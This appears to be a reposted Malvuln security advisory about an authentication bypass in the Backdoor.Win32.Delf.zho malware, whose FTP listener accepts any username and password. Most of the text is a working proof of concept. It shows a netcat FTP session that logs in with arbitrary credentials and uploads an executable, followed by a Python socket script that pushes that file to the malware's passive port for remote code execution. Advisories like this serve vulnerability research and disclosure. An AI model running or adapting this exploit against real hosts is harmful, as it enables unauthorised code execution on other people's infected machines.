Wednesday, May 12, 2021

Backdoor.Win32.Delf.zho Authentication Bypass / Code Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6b9f5a0512af3ab33c26eaa4bdf94f1f.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.zho
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21 and TCP ports 14920 to 14923. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 6b9f5a0512af3ab33c26eaa4bdf94f1f
Vuln ID: MVID-2021-0205
Disclosure: 05/11/2021

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,198,78).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.127"
#Calculate port 198*256 + 78 = 50766
PORT=50766
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("Backdoor.Win32.Delf.zho / Authentication Bypass RCE")
print("MD5: 6b9f5a0512af3ab33c26eaa4bdf94f1f")
print("By Malvuln");

if __name__=="__main__":
doit()


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Thanks for everything Templateism - You should have written the code a little more complicated